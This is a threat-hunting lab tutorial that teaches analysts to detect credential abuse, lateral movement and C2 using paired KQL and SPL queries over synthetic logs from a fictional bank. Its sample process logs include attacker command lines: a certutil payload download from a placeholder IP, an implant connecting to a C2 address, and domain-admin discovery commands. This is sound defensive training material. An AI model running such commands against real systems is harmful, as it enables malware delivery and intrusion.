Skip to content

Lab 18: Threat Hunting with KQL & SPL

Difficulty: ⭐⭐⭐⭐ Expert | Duration: 4–5 hours | Chapters: Ch 5 (Detection Engineering), Ch 6 (SOC Operations), Ch 38 (Advanced Threat Hunting)


Overview

In this lab you will:

  1. Build behavioral baseline queries in both KQL (Kusto Query Language) and SPL (Splunk Processing Language)
  2. Hunt for lateral movement techniques including pass-the-hash, RDP pivoting, and SMB abuse
  3. Detect command-and-control beaconing using time-series analysis in both query languages
  4. Identify data exfiltration through DNS tunneling, large transfers, and encrypted channel abuse
  5. Write a structured threat hunt report with hypothesis, methodology, findings, and recommendations

Synthetic Data Only

All data in this lab is 100% synthetic and fictional. All IP addresses use RFC 5737 (192.0.2.0/24, 198.51.100.0/24, 203.0.113.0/24) or RFC 1918 (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16) reserved ranges. All domains use *.example.com. All hashes are clearly labeled SYNTHETIC. No real malware, real hosts, or real threat actors are referenced.


Scenario

Threat Hunt Brief — Aegis Financial Group

Organization: Aegis Financial Group (fictional) Industry: Financial services — 2,500 employees across 4 offices Internal Network: 10.50.0.0/16 DMZ: 172.16.10.0/24 Domain: aegis.example.com SIEM Platforms: Microsoft Sentinel (KQL) + Splunk Enterprise (SPL) Threat Intel Feed: SYNTHETIC-TI-FEED (fictional) Hunt Authorization: Signed by CISO on 2026-03-18 Hunt Window: 2026-03-10 through 2026-03-17 (7-day retrospective)

Context: Aegis Financial Group's threat intelligence team received an advisory about SYNTHETIC-LEOPARD (fictional threat actor) targeting financial institutions with a multi-stage intrusion: initial access via spear-phishing, followed by credential theft, lateral movement, and slow data exfiltration over DNS. The SOC has been tasked with a proactive hunt across all log sources. No alerts have fired — this is a hypothesis-driven hunt.

Network Topology:

Segment Subnet Description
Corporate Workstations 10.50.1.0/24 Employee endpoints (Windows 10/11)
Servers — Production 10.50.10.0/24 Domain controllers, file servers, databases
Servers — Development 10.50.20.0/24 Dev/test servers
Executive Suite 10.50.50.0/24 C-suite workstations (high-value targets)
DMZ 172.16.10.0/24 Web servers, email gateways
VPN Pool 10.50.100.0/24 Remote access VPN

Key Assets:

Hostname IP Role
DC01.aegis.example.com 10.50.10.1 Primary domain controller
DC02.aegis.example.com 10.50.10.2 Secondary domain controller
FS01.aegis.example.com 10.50.10.10 Primary file server
DB01.aegis.example.com 10.50.10.20 SQL Server (financial records)
WEB01.aegis.example.com 172.16.10.5 Public web server
MAIL01.aegis.example.com 172.16.10.10 Exchange server
WS-CFO-01 10.50.50.5 CFO workstation
WS-HR-042 10.50.1.42 HR analyst workstation (Patient Zero)

Prerequisites

No SIEM? No Problem

You can complete this lab purely as a query-writing exercise using the inline sample data. Read each scenario, write your queries, and compare against the provided solutions. The learning value is in understanding query logic and hunt methodology.


Learning Objectives

By the end of this lab, you will be able to:

  • [x] Write equivalent threat hunting queries in both KQL and SPL
  • [x] Establish behavioral baselines and detect statistical anomalies
  • [x] Hunt for lateral movement using authentication and network logs
  • [x] Detect C2 beaconing through time-series analysis and jitter calculation
  • [x] Identify data exfiltration via DNS tunneling and volume anomalies
  • [x] Structure a formal threat hunt report from hypothesis to recommendations
  • [x] Map hunt findings to MITRE ATT&CK techniques

Lab Setup (20 min)

Log Source Inventory

This lab uses the following synthetic log sources. Each exercise provides inline sample data.

Log Source KQL Table Splunk Index/Sourcetype Record Count
Windows Security Events SecurityEvent index=wineventlog sourcetype=WinEventLog:Security ~85,000
Sysmon (Process Creation) SysmonEvent index=sysmon sourcetype=XmlWinEventLog:Microsoft-Windows-Sysmon/Operational ~120,000
Network Flows NetworkCommunicationEvents index=netflow sourcetype=netflow ~500,000
DNS Queries DnsEvents index=dns sourcetype=dns ~2,000,000
Proxy/HTTP Logs CommonSecurityLog index=proxy sourcetype=bluecoat ~300,000
Authentication (AAD) SigninLogs index=azure sourcetype=azure:aad:signin ~45,000
Firewall Logs CommonSecurityLog index=firewall sourcetype=pan:traffic ~800,000

Query Conventions

Throughout this lab, queries are presented in both languages:

// KQL queries use double-slash comments
// Tables use PascalCase
TableName
| where TimeGenerated > ago(7d)
| where FieldName == "value"
| summarize count() by FieldName
| order by count_ desc
// SPL queries use pipe-forward syntax
index=indexname sourcetype=sourcetype
| where field="value"
| stats count by field
| sort -count

Query Compatibility

KQL and SPL have different syntax but express the same logic. This lab teaches you to think in both. Where one language has a unique strength (e.g., KQL's make-series or SPL's tstats), we highlight it.


Exercise 1 — Baseline Hunting: Normal vs Anomalous (45 min)

Objective

Establish behavioral baselines for user authentication and process execution at Aegis Financial Group, then write queries that surface statistical deviations indicating potential compromise.

Scenario Context

Hunt Hypothesis 1

Hypothesis: If SYNTHETIC-LEOPARD gained access to an employee account, authentication patterns (login times, source IPs, failure rates) will deviate from the user's 30-day baseline.

MITRE ATT&CK: T1078 (Valid Accounts), T1078.002 (Domain Accounts)

Data Sources: Windows Security Event Log (Event IDs 4624, 4625), Azure AD Sign-in Logs

Sample Data — Authentication Events

Below is a representative sample of authentication events for the hunt window. In a real SIEM, you would query the full dataset.

{"TimeGenerated": "2026-03-10T08:15:23Z", "EventID": 4624, "Account": "AEGIS\\jdoe", "LogonType": 10, "SourceIP": "10.50.1.15", "WorkstationName": "WS-FIN-015", "Status": "Success"}
{"TimeGenerated": "2026-03-10T08:17:45Z", "EventID": 4624, "Account": "AEGIS\\mchen", "LogonType": 2, "SourceIP": "10.50.1.22", "WorkstationName": "WS-MKT-022", "Status": "Success"}
{"TimeGenerated": "2026-03-10T08:22:01Z", "EventID": 4624, "Account": "AEGIS\\kpatel", "LogonType": 10, "SourceIP": "10.50.1.42", "WorkstationName": "WS-HR-042", "Status": "Success"}
{"TimeGenerated": "2026-03-10T22:47:33Z", "EventID": 4624, "Account": "AEGIS\\kpatel", "LogonType": 10, "SourceIP": "10.50.20.5", "WorkstationName": "DEV-BUILD-05", "Status": "Success"}
{"TimeGenerated": "2026-03-11T02:14:18Z", "EventID": 4625, "Account": "AEGIS\\svc-backup", "LogonType": 3, "SourceIP": "10.50.10.10", "WorkstationName": "FS01", "Status": "0xC000006D"}
{"TimeGenerated": "2026-03-11T02:14:19Z", "EventID": 4625, "Account": "AEGIS\\svc-backup", "LogonType": 3, "SourceIP": "10.50.10.10", "WorkstationName": "FS01", "Status": "0xC000006D"}
{"TimeGenerated": "2026-03-11T02:14:20Z", "EventID": 4625, "Account": "AEGIS\\svc-backup", "LogonType": 3, "SourceIP": "10.50.10.10", "WorkstationName": "FS01", "Status": "0xC000006D"}
{"TimeGenerated": "2026-03-11T02:14:21Z", "EventID": 4624, "Account": "AEGIS\\svc-backup", "LogonType": 3, "SourceIP": "10.50.10.10", "WorkstationName": "FS01", "Status": "Success"}
{"TimeGenerated": "2026-03-12T03:33:42Z", "EventID": 4624, "Account": "AEGIS\\kpatel", "LogonType": 3, "SourceIP": "192.0.2.41", "WorkstationName": "UNKNOWN", "Status": "Success"}
{"TimeGenerated": "2026-03-12T03:34:11Z", "EventID": 4624, "Account": "AEGIS\\kpatel", "LogonType": 10, "SourceIP": "10.50.50.5", "WorkstationName": "WS-CFO-01", "Status": "Success"}
{"TimeGenerated": "2026-03-13T01:22:07Z", "EventID": 4624, "Account": "AEGIS\\admin-kpatel", "LogonType": 3, "SourceIP": "10.50.1.42", "WorkstationName": "WS-HR-042", "Status": "Success"}
{"TimeGenerated": "2026-03-14T08:30:00Z", "EventID": 4624, "Account": "AEGIS\\jdoe", "LogonType": 2, "SourceIP": "10.50.1.15", "WorkstationName": "WS-FIN-015", "Status": "Success"}
{"TimeGenerated": "2026-03-14T19:45:33Z", "EventID": 4624, "Account": "AEGIS\\kpatel", "LogonType": 3, "SourceIP": "10.50.10.20", "WorkstationName": "DB01", "Status": "Success"}
{"TimeGenerated": "2026-03-15T04:12:55Z", "EventID": 4625, "Account": "AEGIS\\administrator", "LogonType": 10, "SourceIP": "198.51.100.22", "WorkstationName": "UNKNOWN", "Status": "0xC000006D"}
{"TimeGenerated": "2026-03-15T04:12:57Z", "EventID": 4625, "Account": "AEGIS\\administrator", "LogonType": 10, "SourceIP": "198.51.100.22", "WorkstationName": "UNKNOWN", "Status": "0xC000006D"}
{"TimeGenerated": "2026-03-15T04:12:59Z", "EventID": 4625, "Account": "AEGIS\\administrator", "LogonType": 10, "SourceIP": "198.51.100.22", "WorkstationName": "UNKNOWN", "Status": "0xC000006D"}

Step 1: Identify Off-Hours Logins

Users at Aegis Financial typically work 07:00–19:00 local time. Logins outside this window are suspicious.

// Exercise 1.1 — Off-hours authentication events (last 7 days)
SecurityEvent
| where TimeGenerated > ago(7d)
| where EventID == 4624
| where LogonType in (2, 10)  // Interactive and RemoteInteractive
| extend HourOfDay = hourofday(TimeGenerated)
| where HourOfDay < 7 or HourOfDay >= 19
| summarize
    OffHoursLogins = count(),
    DistinctSources = dcount(IpAddress),
    EarliestLogin = min(TimeGenerated),
    LatestLogin = max(TimeGenerated),
    SourceIPs = make_set(IpAddress, 10)
  by Account
| where OffHoursLogins > 2
| order by OffHoursLogins desc
index=wineventlog sourcetype=WinEventLog:Security EventCode=4624
    LogonType IN (2, 10)
    earliest=-7d latest=now
| eval HourOfDay=strftime(_time, "%H")
| where HourOfDay < 7 OR HourOfDay >= 19
| stats count AS OffHoursLogins,
        dc(Source_Network_Address) AS DistinctSources,
        earliest(_time) AS EarliestLogin,
        latest(_time) AS LatestLogin,
        values(Source_Network_Address) AS SourceIPs
  by Account_Name
| where OffHoursLogins > 2
| sort -OffHoursLogins
| convert ctime(EarliestLogin) ctime(LatestLogin)

Expected Results:

Account OffHoursLogins DistinctSources Analysis
AEGIS\kpatel 4 3 SUSPICIOUS — logins at 22:47, 03:33, 01:22, 19:45 from multiple sources including dev servers and the CFO workstation
AEGIS\svc-backup 1 1 Likely normal — service accounts may run off-hours

Step 2: Login Source Anomaly Detection

Compare each user's login sources during the hunt window against their 30-day baseline.

// Exercise 1.2 — New login sources not seen in 30-day baseline
let baseline_period = ago(37d);  // 30 days before hunt window
let hunt_start = ago(7d);
// Build baseline: known source IPs per account
let baseline = SecurityEvent
| where TimeGenerated between (baseline_period .. hunt_start)
| where EventID == 4624
| where LogonType in (2, 3, 10)
| summarize BaselineSources = make_set(IpAddress) by Account;
// Hunt window: find new sources
SecurityEvent
| where TimeGenerated > hunt_start
| where EventID == 4624
| where LogonType in (2, 3, 10)
| join kind=leftouter baseline on Account
| extend IsNewSource = iff(IpAddress !in (BaselineSources), true, false)
| where IsNewSource == true
| summarize
    NewSourceCount = dcount(IpAddress),
    NewSources = make_set(IpAddress, 20),
    LoginCount = count(),
    Workstations = make_set(Computer, 10)
  by Account
| where NewSourceCount > 0
| order by NewSourceCount desc
// Step A: Build the 30-day baseline of known source IPs per account
index=wineventlog sourcetype=WinEventLog:Security EventCode=4624
    LogonType IN (2, 3, 10)
    earliest=-37d latest=-7d
| stats values(Source_Network_Address) AS BaselineSources by Account_Name
| outputlookup baseline_sources.csv

// Step B: Find new sources in the hunt window
index=wineventlog sourcetype=WinEventLog:Security EventCode=4624
    LogonType IN (2, 3, 10)
    earliest=-7d latest=now
| lookup baseline_sources.csv Account_Name OUTPUT BaselineSources
| where NOT match(BaselineSources, Source_Network_Address)
| stats dc(Source_Network_Address) AS NewSourceCount,
        values(Source_Network_Address) AS NewSources,
        count AS LoginCount,
        values(ComputerName) AS Workstations
  by Account_Name
| where NewSourceCount > 0
| sort -NewSourceCount

Expected Results:

Account NewSources Analysis
AEGIS\kpatel 192.0.2.41, 10.50.20.5, 10.50.50.5, 10.50.10.20 HIGH RISK — External IP (192.0.2.41), dev server, CFO workstation, and database server are all new sources for this HR user
AEGIS\administrator 198.51.100.22 CRITICAL — External IP attempting admin logon (failed attempts from unknown source)

Step 3: Process Execution Anomalies

Hunt for unusual process execution patterns — processes that rarely run on a host suddenly appearing.

// Exercise 1.3 — Rare process execution (processes seen < 3 times in 30 days)
let hunt_start = ago(7d);
let rare_threshold = 3;
// Baseline: process frequency per host
let process_baseline = SysmonEvent
| where TimeGenerated between (ago(37d) .. hunt_start)
| where EventID == 1  // Process creation
| summarize BaselineCount = count() by Computer, FileName = tostring(split(Image, "\\")[-1]);
// Hunt: find processes below threshold or never seen
SysmonEvent
| where TimeGenerated > hunt_start
| where EventID == 1
| extend FileName = tostring(split(Image, "\\")[-1])
| join kind=leftouter process_baseline on Computer, FileName
| extend BaselineCount = coalesce(BaselineCount, 0)
| where BaselineCount < rare_threshold
| project
    TimeGenerated,
    Computer,
    User,
    FileName,
    CommandLine,
    ParentImage,
    BaselineCount
| order by TimeGenerated asc
// Rare process detection — processes with fewer than 3 baseline executions
index=sysmon sourcetype=XmlWinEventLog:Microsoft-Windows-Sysmon/Operational
    EventCode=1 earliest=-7d latest=now
| rex field=Image "(?<FileName>[^\\\\]+)$"
| join type=left Computer FileName
    [search index=sysmon sourcetype=XmlWinEventLog:Microsoft-Windows-Sysmon/Operational
        EventCode=1 earliest=-37d latest=-7d
    | rex field=Image "(?<FileName>[^\\\\]+)$"
    | stats count AS BaselineCount by Computer FileName]
| fillnull value=0 BaselineCount
| where BaselineCount < 3
| table _time Computer User FileName CommandLine ParentImage BaselineCount
| sort _time

Sample Data — Sysmon Process Creation Events

{"TimeGenerated": "2026-03-12T03:30:15Z", "EventID": 1, "Computer": "WS-HR-042", "User": "AEGIS\\kpatel", "Image": "C:\\Windows\\System32\\cmd.exe", "CommandLine": "cmd.exe /c whoami /all", "ParentImage": "C:\\Program Files\\Microsoft Office\\root\\Office16\\OUTLOOK.EXE", "Hashes": "SHA256=SYNTHETIC0000000000000000000000000000000000000000000000000000A1"}
{"TimeGenerated": "2026-03-12T03:30:44Z", "EventID": 1, "Computer": "WS-HR-042", "User": "AEGIS\\kpatel", "Image": "C:\\Windows\\System32\\nltest.exe", "CommandLine": "nltest /dclist:aegis.example.com", "ParentImage": "C:\\Windows\\System32\\cmd.exe", "Hashes": "SHA256=SYNTHETIC0000000000000000000000000000000000000000000000000000A2"}
{"TimeGenerated": "2026-03-12T03:31:02Z", "EventID": 1, "Computer": "WS-HR-042", "User": "AEGIS\\kpatel", "Image": "C:\\Windows\\System32\\net.exe", "CommandLine": "net group \"Domain Admins\" /domain", "ParentImage": "C:\\Windows\\System32\\cmd.exe", "Hashes": "SHA256=SYNTHETIC0000000000000000000000000000000000000000000000000000A3"}
{"TimeGenerated": "2026-03-12T03:32:18Z", "EventID": 1, "Computer": "WS-HR-042", "User": "AEGIS\\kpatel", "Image": "C:\\Users\\kpatel\\AppData\\Local\\Temp\\svcupdate.exe", "CommandLine": "svcupdate.exe -connect 192.0.2.41 -port 443 -interval 60", "ParentImage": "C:\\Windows\\System32\\cmd.exe", "Hashes": "SHA256=SYNTHETIC0000000000000000000000000000000000000000000000000000FF"}
{"TimeGenerated": "2026-03-13T01:20:33Z", "EventID": 1, "Computer": "WS-HR-042", "User": "AEGIS\\kpatel", "Image": "C:\\Windows\\System32\\certutil.exe", "CommandLine": "certutil -urlcache -split -f http://203.0.113.50/update.bin C:\\Users\\kpatel\\AppData\\Local\\Temp\\update.bin", "ParentImage": "C:\\Windows\\System32\\cmd.exe", "Hashes": "SHA256=SYNTHETIC0000000000000000000000000000000000000000000000000000A4"}
{"TimeGenerated": "2026-03-14T08:05:00Z", "EventID": 1, "Computer": "WS-FIN-015", "User": "AEGIS\\jdoe", "Image": "C:\\Program Files\\Microsoft Office\\root\\Office16\\EXCEL.EXE", "CommandLine": "\"EXCEL.EXE\" \"C:\\Users\\jdoe\\Documents\\Q1_Report.xlsx\"", "ParentImage": "C:\\Windows\\explorer.exe", "Hashes": "SHA256=SYNTHETIC0000000000000000000000000000000000000000000000000000B1"}

Expected Findings:

Suspicious Process Chain on WS-HR-042

The user AEGIS\kpatel on WS-HR-042 executed a reconnaissance chain:

  1. cmd.exe spawned from Outlook (macro/link execution — T1204.002)
  2. whoami /all — account discovery (T1033)
  3. nltest /dclist: — domain controller enumeration (T1018)
  4. net group "Domain Admins" — admin group discovery (T1069.002)
  5. svcupdate.exe from Temp — likely C2 implant (T1059)
  6. certutil -urlcache — file download via LOLBin (T1105)

Verdict: This is a textbook post-exploitation reconnaissance sequence. Escalate immediately.

Challenge Questions — Exercise 1

Challenge 1.1

Q: Why is LogonType 10 (RemoteInteractive/RDP) more significant than LogonType 3 (Network) for off-hours analysis?

A: LogonType 10 indicates a human sitting at an RDP session, which implies active keyboard-on-keyboard interaction. LogonType 3 is common for automated processes, mapped drives, and service authentication. An off-hours RDP session from an unusual source is a much stronger indicator of hands-on-keyboard adversary activity.

Challenge 1.2

Q: The svc-backup account had 3 failed logins followed by a success at 02:14 UTC. Is this malicious?

A: Likely benign. Service accounts often have retry logic. However, you should verify: (1) the source IP 10.50.10.10 is FS01, which is expected for a backup service, (2) the timing matches a known backup schedule, and (3) there are no other anomalies associated with this account. Document it as a known false positive pattern.

Challenge 1.3

Q: Write a KQL query that calculates a z-score for each user's daily login count compared to their 30-day average. Flag users with z > 3.

A:

let baseline = SecurityEvent
| where TimeGenerated between (ago(37d) .. ago(7d))
| where EventID == 4624
| summarize DailyLogins = count() by Account, Day = bin(TimeGenerated, 1d)
| summarize AvgDaily = avg(DailyLogins), StdDaily = stdev(DailyLogins) by Account;
SecurityEvent
| where TimeGenerated > ago(7d)
| where EventID == 4624
| summarize DailyLogins = count() by Account, Day = bin(TimeGenerated, 1d)
| join kind=inner baseline on Account
| extend ZScore = iff(StdDaily > 0, (DailyLogins - AvgDaily) / StdDaily, 0.0)
| where ZScore > 3
| project Day, Account, DailyLogins, AvgDaily, StdDaily, ZScore
| order by ZScore desc


Exercise 2 — Lateral Movement Detection (60 min)

Objective

Hunt for lateral movement techniques across the Aegis Financial network, including pass-the-hash, RDP pivoting, and SMB-based movement.

Scenario Context

Hunt Hypothesis 2

Hypothesis: After compromising the HR workstation (WS-HR-042), the adversary used stolen credentials to move laterally to high-value targets (domain controllers, executive workstations, database servers).

MITRE ATT&CK: T1550.002 (Pass the Hash), T1021.001 (Remote Desktop Protocol), T1021.002 (SMB/Windows Admin Shares), T1047 (WMI)

Data Sources: Windows Security Events (4624, 4648, 4672), Sysmon (Event 3 — Network Connection), Firewall Logs

Sample Data — Lateral Movement Indicators

{"TimeGenerated": "2026-03-12T03:45:22Z", "EventID": 4624, "LogonType": 3, "Account": "AEGIS\\kpatel", "SourceIP": "10.50.1.42", "TargetHost": "DC01.aegis.example.com", "AuthPackage": "NTLM", "LogonProcess": "NtLmSsp", "KeyLength": 0}
{"TimeGenerated": "2026-03-12T03:45:23Z", "EventID": 4672, "Account": "AEGIS\\kpatel", "Privileges": "SeDebugPrivilege, SeTcbPrivilege, SeBackupPrivilege", "TargetHost": "DC01.aegis.example.com"}
{"TimeGenerated": "2026-03-12T03:48:55Z", "EventID": 4648, "Account": "AEGIS\\kpatel", "TargetAccount": "AEGIS\\admin-kpatel", "TargetHost": "DC01.aegis.example.com", "SourceIP": "10.50.1.42", "Process": "C:\\Windows\\System32\\runas.exe"}
{"TimeGenerated": "2026-03-12T04:10:33Z", "EventID": 4624, "LogonType": 10, "Account": "AEGIS\\admin-kpatel", "SourceIP": "10.50.1.42", "TargetHost": "WS-CFO-01", "AuthPackage": "Negotiate"}
{"TimeGenerated": "2026-03-12T04:11:02Z", "EventID": 4624, "LogonType": 3, "Account": "AEGIS\\kpatel", "SourceIP": "10.50.50.5", "TargetHost": "FS01.aegis.example.com", "AuthPackage": "NTLM", "KeyLength": 0}
{"TimeGenerated": "2026-03-12T04:15:44Z", "EventID": 4624, "LogonType": 3, "Account": "AEGIS\\admin-kpatel", "SourceIP": "10.50.50.5", "TargetHost": "DB01.aegis.example.com", "AuthPackage": "NTLM", "KeyLength": 0}
{"TimeGenerated": "2026-03-14T19:42:18Z", "EventID": 3, "Computer": "WS-CFO-01", "User": "AEGIS\\admin-kpatel", "SourceIP": "10.50.50.5", "SourcePort": 49721, "DestIP": "10.50.10.20", "DestPort": 445, "Protocol": "tcp"}
{"TimeGenerated": "2026-03-14T19:42:19Z", "EventID": 3, "Computer": "WS-CFO-01", "User": "AEGIS\\admin-kpatel", "SourceIP": "10.50.50.5", "SourcePort": 49722, "DestIP": "10.50.10.20", "DestPort": 135, "Protocol": "tcp"}

Step 1: Pass-the-Hash Detection

Pass-the-hash attacks use NTLM authentication with a KeyLength of 0 and LogonType 3. Legitimate Kerberos authentication will show KeyLength of 128 or 256.

// Exercise 2.1 — Pass-the-Hash indicators
// Key indicators: NTLM auth + KeyLength 0 + LogonType 3 + non-service account
SecurityEvent
| where TimeGenerated > ago(7d)
| where EventID == 4624
| where LogonType == 3
| where AuthenticationPackageName == "NTLM"
| where LogonProcessName == "NtLmSsp"
| where KeyLength == 0
// Exclude machine accounts and known service accounts
| where Account !endswith "$"
| where Account !startswith "svc-"
| summarize
    PtHAttempts = count(),
    TargetHosts = make_set(Computer, 20),
    TargetHostCount = dcount(Computer),
    SourceIPs = make_set(IpAddress, 10),
    FirstSeen = min(TimeGenerated),
    LastSeen = max(TimeGenerated)
  by Account
| where TargetHostCount > 1  // Moving to multiple hosts = lateral movement
| order by TargetHostCount desc
index=wineventlog sourcetype=WinEventLog:Security EventCode=4624
    Logon_Type=3
    Authentication_Package=NTLM
    Logon_Process=NtLmSsp
    Key_Length=0
    earliest=-7d latest=now
| where NOT match(Account_Name, "\$$")
| where NOT match(Account_Name, "^svc-")
| stats count AS PtHAttempts,
        values(ComputerName) AS TargetHosts,
        dc(ComputerName) AS TargetHostCount,
        values(Source_Network_Address) AS SourceIPs,
        earliest(_time) AS FirstSeen,
        latest(_time) AS LastSeen
  by Account_Name
| where TargetHostCount > 1
| sort -TargetHostCount
| convert ctime(FirstSeen) ctime(LastSeen)

Expected Results:

Account PtHAttempts TargetHosts SourceIPs Analysis
AEGIS\kpatel 3 DC01, FS01, DB01 10.50.1.42, 10.50.50.5 CONFIRMED PtH — HR user authenticating to DC, file server, and DB via NTLM with KeyLength=0 from workstation AND CFO machine

Step 2: RDP Lateral Movement Chain

Track RDP sessions that chain from one host to another (pivot detection).

// Exercise 2.2 — RDP pivot chain detection
// Find users who RDP to host A, then RDP FROM host A to host B
let rdp_sessions = SecurityEvent
| where TimeGenerated > ago(7d)
| where EventID == 4624
| where LogonType == 10  // RemoteInteractive = RDP
| project
    TimeGenerated,
    Account,
    SourceIP = IpAddress,
    TargetHost = Computer;
// Self-join: find cases where a target becomes a source
rdp_sessions
| join kind=inner (
    rdp_sessions
    | project
        TimeGenerated2 = TimeGenerated,
        Account,
        SourceIP2 = SourceIP,
        TargetHost2 = TargetHost
) on Account
// The source of the second hop must be in the same subnet as the first target
| where TargetHost != TargetHost2
| where TimeGenerated2 > TimeGenerated
| where datetime_diff('hour', TimeGenerated2, TimeGenerated) < 24
| project
    Account,
    Hop1_Time = TimeGenerated,
    Hop1_Source = SourceIP,
    Hop1_Target = TargetHost,
    Hop2_Time = TimeGenerated2,
    Hop2_Source = SourceIP2,
    Hop2_Target = TargetHost2
| order by Account, Hop1_Time asc
// RDP pivot chain — find users who hop through intermediate hosts
index=wineventlog sourcetype=WinEventLog:Security EventCode=4624
    Logon_Type=10
    earliest=-7d latest=now
| table _time Account_Name Source_Network_Address ComputerName
| rename _time AS Hop1_Time, Source_Network_Address AS Hop1_Source,
         ComputerName AS Hop1_Target
| join type=inner Account_Name
    [search index=wineventlog sourcetype=WinEventLog:Security
        EventCode=4624 Logon_Type=10
        earliest=-7d latest=now
    | table _time Account_Name Source_Network_Address ComputerName
    | rename _time AS Hop2_Time, Source_Network_Address AS Hop2_Source,
             ComputerName AS Hop2_Target]
| where Hop1_Target != Hop2_Target
| where Hop2_Time > Hop1_Time
| eval TimeDelta_hours = round((Hop2_Time - Hop1_Time) / 3600, 2)
| where TimeDelta_hours < 24
| table Account_Name Hop1_Time Hop1_Source Hop1_Target
        Hop2_Time Hop2_Source Hop2_Target TimeDelta_hours
| sort Account_Name Hop1_Time

Expected Results:

Account: AEGIS\admin-kpatel
  Hop 1: 10.50.1.42 → WS-CFO-01    (2026-03-12T04:10:33Z)
  Hop 2: 10.50.50.5 → DB01          (2026-03-14T19:42:18Z)

Pivot Chain Detected

The adversary moved: WS-HR-042 → WS-CFO-01 → DB01. This is a classic two-hop pivot through a high-value executive workstation to reach the financial database.

Step 3: SMB Lateral Movement & Admin Shares

Detect access to administrative shares (C$, ADMIN$, IPC$) from non-admin workstations.

// Exercise 2.3 — Administrative share access from workstations
SecurityEvent
| where TimeGenerated > ago(7d)
| where EventID == 5140  // Network share accessed
| where ShareName in ("\\\\*\\C$", "\\\\*\\ADMIN$", "\\\\*\\IPC$")
| where IpAddress startswith "10.50.1."  // From workstation subnet
   or IpAddress startswith "10.50.50."   // or executive subnet
| summarize
    AccessCount = count(),
    SharesAccessed = make_set(ShareName),
    TargetHosts = make_set(Computer, 10),
    DistinctTargets = dcount(Computer)
  by Account, IpAddress
| where DistinctTargets > 1
| order by DistinctTargets desc
index=wineventlog sourcetype=WinEventLog:Security EventCode=5140
    (Share_Name="\\\\*\\C$" OR Share_Name="\\\\*\\ADMIN$"
     OR Share_Name="\\\\*\\IPC$")
    (Source_Network_Address="10.50.1.*" OR Source_Network_Address="10.50.50.*")
    earliest=-7d latest=now
| stats count AS AccessCount,
        values(Share_Name) AS SharesAccessed,
        values(ComputerName) AS TargetHosts,
        dc(ComputerName) AS DistinctTargets
  by Account_Name Source_Network_Address
| where DistinctTargets > 1
| sort -DistinctTargets

Step 4: Privilege Escalation via Explicit Credentials

Detect the use of runas or explicit credential logon (Event 4648) which indicates credential switching.

// Exercise 2.4 — Explicit credential usage (runas, credential theft)
SecurityEvent
| where TimeGenerated > ago(7d)
| where EventID == 4648  // Logon with explicit credentials
| where TargetAccount != Account  // Using a DIFFERENT account's creds
| project
    TimeGenerated,
    SourceAccount = Account,
    TargetAccount,
    TargetHost = TargetServerName,
    SourceIP = IpAddress,
    ProcessName
| order by TimeGenerated asc
index=wineventlog sourcetype=WinEventLog:Security EventCode=4648
    earliest=-7d latest=now
| where Account_Name != Target_Account_Name
| table _time Account_Name Target_Account_Name Target_Server_Name
        Source_Network_Address Process_Name
| rename Account_Name AS SourceAccount,
        Target_Account_Name AS TargetAccount,
        Target_Server_Name AS TargetHost,
        Source_Network_Address AS SourceIP,
        Process_Name AS ProcessName
| sort _time

Expected Results:

Time SourceAccount TargetAccount TargetHost Process Analysis
2026-03-12T03:48:55Z AEGIS\kpatel AEGIS\admin-kpatel DC01 runas.exe SUSPICIOUS — standard user leveraging admin credentials to access DC

Lateral Movement Summary — Exercise 2

Attack Path Reconstructed:

WS-HR-042 (10.50.1.42) — initial compromise
    ├── PtH → DC01 (10.50.10.1) — NTLM, KeyLength=0
    ├── runas → admin-kpatel credentials obtained
    ├── RDP → WS-CFO-01 (10.50.50.5) — pivot to exec subnet
    │       │
    │       ├── SMB (445) → DB01 (10.50.10.20)
    │       └── RPC (135) → DB01 (10.50.10.20)
    └── PtH → FS01 (10.50.10.10) — file server access

ATT&CK Mapping: T1550.002, T1021.001, T1021.002, T1047, T1078.002

Challenge Questions — Exercise 2

Challenge 2.1

Q: Why does KeyLength == 0 indicate pass-the-hash rather than legitimate NTLM authentication?

A: When a legitimate NTLM authentication occurs, Windows negotiates a session key (typically 128-bit). In a pass-the-hash attack, the attacker directly uses the NTLM hash rather than the plaintext password, which bypasses the normal session key negotiation. This results in a KeyLength of 0 in the Event 4624 log. Note: some legitimate scenarios (e.g., anonymous logons) also produce KeyLength=0, so always correlate with other indicators.

Challenge 2.2

Q: Write an SPL query that builds a graph of all host-to-host lateral movement and identifies the most "connected" host (highest degree centrality).

A:

index=wineventlog sourcetype=WinEventLog:Security EventCode=4624
    Logon_Type IN (3, 10)
    earliest=-7d latest=now
| where NOT match(Account_Name, "\$$")
| stats count AS Connections by Source_Network_Address ComputerName
| rename Source_Network_Address AS Source, ComputerName AS Destination
| append
    [| inputlookup lateral_movement_graph.csv]
| stats sum(Connections) AS TotalConnections by Source
| sort -TotalConnections
| head 10

Challenge 2.3

Q: An HR analyst legitimately needs to access the file server. How would you differentiate AEGIS\kpatel's normal FS01 access from the malicious access observed?

A: Check multiple factors: (1) Time of access — the malicious access occurred at 04:11 UTC (off-hours), (2) Source host — normal access comes from WS-HR-042, but this came from WS-CFO-01, (3) Authentication method — legitimate access would likely use Kerberos, not NTLM with KeyLength=0, (4) Shares accessed — legitimate access uses mapped file shares, not C$ or ADMIN$, (5) Volume — check if large data transfers followed.


Exercise 3 — C2 Beacon Detection (60 min)

Objective

Identify command-and-control (C2) beaconing in network flow data and DNS logs using time-series analysis, jitter detection, and frequency analysis.

Scenario Context

Hunt Hypothesis 3

Hypothesis: The implant svcupdate.exe on WS-HR-042 communicates with a C2 server at regular intervals. The beaconing may use HTTP/HTTPS callbacks or DNS-based channels. The adversary likely introduced jitter (randomized delay) to evade fixed-interval detection.

MITRE ATT&CK: T1071.001 (Web Protocols), T1071.004 (DNS), T1573.002 (Asymmetric Cryptography), T1132.001 (Standard Encoding)

Data Sources: Network Flows, DNS Queries, Proxy/HTTP Logs

Sample Data — Network Flow Records (HTTP/S Beaconing)

{"TimeGenerated": "2026-03-12T03:33:00Z", "SourceIP": "10.50.1.42", "DestIP": "192.0.2.41", "DestPort": 443, "BytesSent": 245, "BytesReceived": 1024, "Protocol": "TCP", "Duration": 0.8}
{"TimeGenerated": "2026-03-12T03:34:02Z", "SourceIP": "10.50.1.42", "DestIP": "192.0.2.41", "DestPort": 443, "BytesSent": 248, "BytesReceived": 512, "Protocol": "TCP", "Duration": 0.6}
